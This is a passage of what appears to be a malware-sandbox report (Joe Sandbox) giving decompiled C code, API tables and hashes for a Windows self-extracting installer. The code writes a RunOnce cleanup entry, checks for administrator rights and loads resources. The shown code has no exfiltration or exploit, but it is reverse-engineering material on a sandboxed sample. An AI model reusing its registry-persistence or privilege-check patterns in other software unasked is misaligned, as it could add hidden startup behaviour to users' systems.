				_v8 = _t19 ^ _t51;
				if( *0xf88530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E00F8658A( &_v268, 0x104, 0xf81140);
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
							E00F8171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup1", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E00F86CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x00f82272
0x00f82277
0x00f82279
0x00f82283
0x00f82289
0x00f822ab
0x00f822b1
0x00f822c4
0x00f822e0
0x00f822e6
0x00f822f5
0x00f8230d
0x00f8231c
0x00f8231c
0x00f82321
0x00f8233a
0x00f82342
0x00f82348
0x00f8234b
0x00f8234c
0x00f8234c
0x00f8234e
0x00f8234f
0x00f8236e
0x00f8236e
0x00f8237a
0x00f82380
0x00f82380
0x00f82381
0x00f82381
0x00f8238f

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 00F822A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000000,?,?,00000001), ref: 00F822D8
memset.MSVCRT ref: 00F822F5
GetSystemDirectoryA.KERNEL32 ref: 00F82305
RegSetValueExA.ADVAPI32(?,wextract_cleanup1,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 00F8236E
RegCloseKey.ADVAPI32(?), ref: 00F8237A

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F8232D
wextract_cleanup1, xrefs: 00F8227C, 00F822CD, 00F82363
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F82299
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F82321

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup1
API String ID: 3027380567-2048191181
Opcode ID: 500901cec70fe4e95f1d2f1b69edfec912e172d96d2ac7c019fc4f6d56ec277c
Instruction ID: 31250253b458fc3ab86304a07b99c451c071ae6b1201425c2b033351fb44ab4e
Opcode Fuzzy Hash: 500901cec70fe4e95f1d2f1b69edfec912e172d96d2ac7c019fc4f6d56ec277c
Instruction Fuzzy Hash: 9331C571A0021C6BDB21AB50DC49FEA7B7CEB15750F4401AAB50DEA050EA75AB89EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F83100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00F83100(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0xf88590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0xf88590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E00F843D0(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0xf88d4c);
					SetWindowTextA(_t33, "lenta");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0xf888b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E00F830C0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x00f83108
0x00f8310b
0x00f831b7
0x00f831ca
0x00f831d0
0x00f831d0
0x00f831da
0x00000000
0x00f831da
0x00f83111
0x00f83114
0x00f83136
0x00f83136
0x00f83138
0x00f8313b
0x00f83141
0x00000000
0x00f83143
0x00f83116
0x00f8311b
0x00f8314b
0x00f83151
0x00f83158
0x00f8316a
0x00f83176
0x00f8317d
0x00f8318b
0x00f8319e
0x00f831a3
0x00000000
0x00f831ad
0x00f83120
0x00000000
0x00000000
0x00f8312a
0x00f83134
0x00000000
0x00000000
0x00000000
0x00f83134
0x00f8312c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 00F8313B
GetDesktopWindow.USER32 ref: 00F8314B
SetDlgItemTextA.USER32(?,00000834), ref: 00F8316A
SetWindowTextA.USER32(?,lenta), ref: 00F83176
SetForegroundWindow.USER32(?), ref: 00F8317D
GetDlgItem.USER32(?,00000834), ref: 00F83185
GetWindowLongA.USER32(00000000,000000FC), ref: 00F83190
SetWindowLongA.USER32(00000000,000000FC,00F830C0), ref: 00F831A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 00F831CA

Strings

lenta, xrefs: 00F83170

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: lenta
API String ID: 3785188418-2780258678
Opcode ID: a7072cb8c7411702f7fbdcc0732567a77d93f923634abdc61bc0a48d0245dfd1
Instruction ID: 9f80be09db7ffeee191898cd68db2de6920b69796e62a89e0ca2e1f9887b5527
Opcode Fuzzy Hash: a7072cb8c7411702f7fbdcc0732567a77d93f923634abdc61bc0a48d0245dfd1
Instruction Fuzzy Hash: C211B431A04619BBEB216F64AC0CBFA3A64FB46F70F100612F815D51F0DB749641FB42

Uniqueness

Uniqueness Score: -1.00%

Function 00F818A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00F818A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0xf88004; // 0x644c7055
				_v8 = _t23 ^ _t53;
				_t25 =  *0xf88128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E00F86CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E00F817EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0xf88128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0xf88128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x00f818a3
0x00f818a3
0x00f818ab
0x00f818b2
0x00f818b5
0x00f818be
0x00f818c0
0x00f818c6
0x00f818c7
0x00f818ca
0x00f818cf
0x00f819c9
0x00f819d8
0x00f819d8
0x00f818df
0x00f819b8
0x00f819bd
0x00f819bf
0x00f819bf
0x00000000
0x00f819bd
0x00f818fa
0x00000000
0x00000000
0x00f81912
0x00f819aa
0x00f819ad
0x00f819b3
0x00000000
0x00f81927
0x00f81927
0x00f81932
0x00f81936
0x00f819a9
0x00f819a9
0x00000000
0x00f819a9
0x00f8194c
0x00f819a2
0x00f819a3
0x00000000
0x00f8196e
0x00f81970
0x00f81999
0x00f8199c
0x00000000
0x00f8199c
0x00f81972
0x00f81972
0x00f81975
0x00f81984
0x00f81985
0x00f8198a
0x00000000
0x00000000
0x00000000
0x00f8198c
0x00f81991
0x00f81996
0x00000000
0x00f81996
0x00f8194c

APIs

Part of subcall function 00F817EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00F818DD), ref: 00F8181A
Part of subcall function 00F817EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00F8182C
Part of subcall function 00F817EE: AllocateAndInitializeSid.ADVAPI32(00F818DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F818DD), ref: 00F81855
Part of subcall function 00F817EE: FreeSid.ADVAPI32(?,?,?,?,00F818DD), ref: 00F81883
Part of subcall function 00F817EE: FreeLibrary.KERNEL32(00000000,?,?,?,00F818DD), ref: 00F8188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 00F818EB
OpenProcessToken.ADVAPI32(00000000), ref: 00F818F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 00F8190A
GetLastError.KERNEL32 ref: 00F81918
LocalAlloc.KERNEL32(00000000,?,?), ref: 00F8192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00F81944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00F81964
EqualSid.ADVAPI32(00000004,?), ref: 00F8197A
FreeSid.ADVAPI32(?), ref: 00F8199C
LocalFree.KERNEL32(00000000), ref: 00F819A3
CloseHandle.KERNEL32(?), ref: 00F819AD

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 8524a9017b6cce86701870aa89d6d61a0b53c46788eb92c9b3d830699094614c
Instruction ID: 5668ca8bb04facf79600e992d2315e5fe07a90ca33389f38551c9af48e5d7a45
Opcode Fuzzy Hash: 8524a9017b6cce86701870aa89d6d61a0b53c46788eb92c9b3d830699094614c
Instruction Fuzzy Hash: 3D311971E00209EBEB20AFA5DC59AFFBBBCFB04750F10052AE545D2150DB349906EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F8468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00F8468F(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x00f84699
0x00f8469b
0x00f846a9
0x00f846af
0x00f846b4
0x00f846bc
0x00f846f9
0x00000000
0x00f846f9
0x00f846d9
0x00f846dd
0x00000000
0x00000000
0x00f846e5
0x00f846ef
0x00000000
0x00f846f5
0x00f846ff

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
memcpy_s.MSVCRT ref: 00F846E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

Strings

TITLE, xrefs: 00F8469D, 00F846C0
lenta, xrefs: 00F846E4

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$lenta
API String ID: 3370778649-2035842925
Opcode ID: a93137c2b41dd939d9e23fd44a476d501469d30be52240723983e37d3f339cd7
Instruction ID: 85ad2563db596ea34110a15934639ad1240650705a25ad884ba84c91a5fa9cc9
Opcode Fuzzy Hash: a93137c2b41dd939d9e23fd44a476d501469d30be52240723983e37d3f339cd7
Instruction Fuzzy Hash: A901F9326442097BF32027A55C0CFFB7E2CDBC6F61F080015FA49971C0D9719840A7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00F817EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00F817EE(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0xf88004; // 0x644c7055
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0xf8a288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E00F86CE0(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x00f817f6
0x00f817fd
0x00f81805
0x00f8180b
0x00f8180d
0x00f81815
0x00f81818
0x00f81820
0x00f81824
0x00f8182c
0x00f81832
0x00f81837
0x00f81851
0x00f81854
0x00f8185d
0x00f81862
0x00f8186c
0x00f81872
0x00f81877
0x00f8187e
0x00f8187e
0x00f81883
0x00f81883
0x00f8185d
0x00f8188a
0x00f8188a
0x00f818a2

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00F818DD), ref: 00F8181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00F8182C
AllocateAndInitializeSid.ADVAPI32(00F818DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00F818DD), ref: 00F81855
FreeSid.ADVAPI32(?,?,?,?,00F818DD), ref: 00F81883
FreeLibrary.KERNEL32(00000000,?,?,?,00F818DD), ref: 00F8188A

Strings

CheckTokenMembership, xrefs: 00F81826
advapi32.dll, xrefs: 00F81810

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: b8f16d077d155776bc91a1e7579d35a24282ae2c62bc7348a9d6821702d5d34b
Instruction ID: b59704a69fe716f9aa49d14166eb9e7d063285a8d20c566dbf5e6ae3ee36b68e
Opcode Fuzzy Hash: b8f16d077d155776bc91a1e7579d35a24282ae2c62bc7348a9d6821702d5d34b
Instruction Fuzzy Hash: 0A116A71E00209AFDB10AFA4DC4AAFEBB7CFF44711F10016AF905E6250DB719D059791

Uniqueness

Uniqueness Score: -1.00%

Function 00F83450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F83450(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E00F843D0(_t24, _t12);
					SetWindowTextA(_t24, "lenta");
					SetDlgItemTextA(_t24, 0x838,  *0xf89404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0xf891dc = 1;
					goto L8;
				}
				return 0;
			}

0x00f83459
0x00f8345c
0x00f834d8
0x00f834de
0x00000000
0x00f834e0
0x00f8345e
0x00f83463
0x00f8349a
0x00f834a0
0x00f834a7
0x00f834b2
0x00f834c4
0x00f834cb
0x00000000
0x00f834cb
0x00f83468
0x00f8346e
0x00f83474
0x00000000
0x00000000
0x00f8347c
0x00f8348c
0x00f83490
0x00000000
0x00f83496
0x00f83484
0x00000000
0x00000000
0x00f83486
0x00000000
0x00f83486
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00F83490
GetDesktopWindow.USER32 ref: 00F8349A
SetWindowTextA.USER32(?,lenta), ref: 00F834B2
SetDlgItemTextA.USER32(?,00000838), ref: 00F834C4
SetForegroundWindow.USER32(?), ref: 00F834CB
EndDialog.USER32(?,00000002), ref: 00F834D8

Strings

lenta, xrefs: 00F834AC

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: lenta
API String ID: 852535152-2780258678
Opcode ID: 643472a08c522f5abda10d25bd833a1da242c41b87e3505aeb41fb45cac7f958
Instruction ID: 3a4c848608eb3baff4ff59ed4fddf151d20713878418aa0db3f8dd6fc642cad3
Opcode Fuzzy Hash: 643472a08c522f5abda10d25bd833a1da242c41b87e3505aeb41fb45cac7f958
Instruction Fuzzy Hash: 9701B132644518ABEB16AF64DC0C9FD3A64EB05F20F104411F947865B0CB749F51FB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F82AAC Relevance: 12.1, APIs: 8, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00F82AAC(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0xf88004; // 0x644c7055
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0xf89a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E00F81680(_t65, E00F817C8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
										_t32 =  *_t52;
										_t52 =  &(_t52[1]);
									} while (_t32 != 0);
									goto L17;
								}
							} else {
								E00F865E8( &_v268);
								_t55 =  &_v268;
								_t62 = _t55 + 1;
								do {
									_t34 =  *_t55;
									_t55 = _t55 + 1;
								} while (_t34 != 0);
								_t38 = CharPrevA( &_v268,  &(( &_v268)[_t55 - _t62]));
								if(_t38 != 0 &&  *_t38 == 0x5c) {
									 *_t38 = 0;
								}
								E00F81680(_t65, E00F817C8(_t44, _t65),  &_v268);
								_t59 = _t65;
								_t12 =  &(_t59[1]); // 0x2
								_t60 = _t12;
								do {
									_t42 =  *_t59;
									_t59 =  &(_t59[1]);
								} while (_t42 != 0);
								L17:
								_t65 =  &(_t65[_t52 - _t60]);
							}
						}
						_t64 = CharNextA(_t64);
					}
					 *_t65 = _t17;
				}
				return E00F86CE0(_t17, _t44, _v8 ^ _t66, _t60, _t64, _t65);
			}

0x00f82aac
0x00f82ab7
0x00f82abc
0x00f82abe
0x00f82ac3
0x00f82ac6
0x00f82ac9
0x00f82ace
0x00f82ae6
0x00f82bdc
0x00f82bdc
0x00f82be0
0x00000000
0x00000000
0x00f82af2
0x00f82afc
0x00f82b00
0x00f82b05
0x00f82b05
0x00f82b0b
0x00f82bca
0x00f82bd1
0x00f82b11
0x00f82b18
0x00f82b26
0x00f82b99
0x00f82bc8
0x00000000
0x00000000
0x00f82b9b
0x00f82bae
0x00f82bb3
0x00f82bb5
0x00f82bb5
0x00f82bb8
0x00f82bb8
0x00f82bba
0x00f82bbb
0x00000000
0x00f82bb8
0x00f82b28
0x00f82b2e
0x00f82b33
0x00f82b39
0x00f82b3c
0x00f82b3c
0x00f82b3e
0x00f82b3f
0x00f82b55
0x00f82b5d
0x00f82b64
0x00f82b64
0x00f82b7a
0x00f82b7f
0x00f82b81
0x00f82b81
0x00f82b84
0x00f82b84
0x00f82b86
0x00f82b87
0x00f82bbf
0x00f82bc1
0x00f82bc1
0x00f82b26
0x00f82bda
0x00f82bda
0x00f82be6
0x00f82be6
0x00f82bf8

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00F82AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00F82AF2
CharNextA.USER32(?), ref: 00F82B12
CharUpperA.USER32 ref: 00F82B1E
CharPrevA.USER32(?,?), ref: 00F82B55
CharNextA.USER32(?), ref: 00F82BD4

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: a8ca9a89a3e3fc53b4620afeba94990907e5431b106ec9ffc7a6fa276ca0ee91
Instruction ID: 9661ef238e8b256b6c7a8b87863ba2d7c40344dd726906a6f11e53b3f500099f
Opcode Fuzzy Hash: a8ca9a89a3e3fc53b4620afeba94990907e5431b106ec9ffc7a6fa276ca0ee91
Instruction Fuzzy Hash: D6413A34A051495FEF55AF348C54AFD7BA9DF92310F14009AE8C287202DF399E46EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F843D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00F843D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0xf88004; // 0x644c7055
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
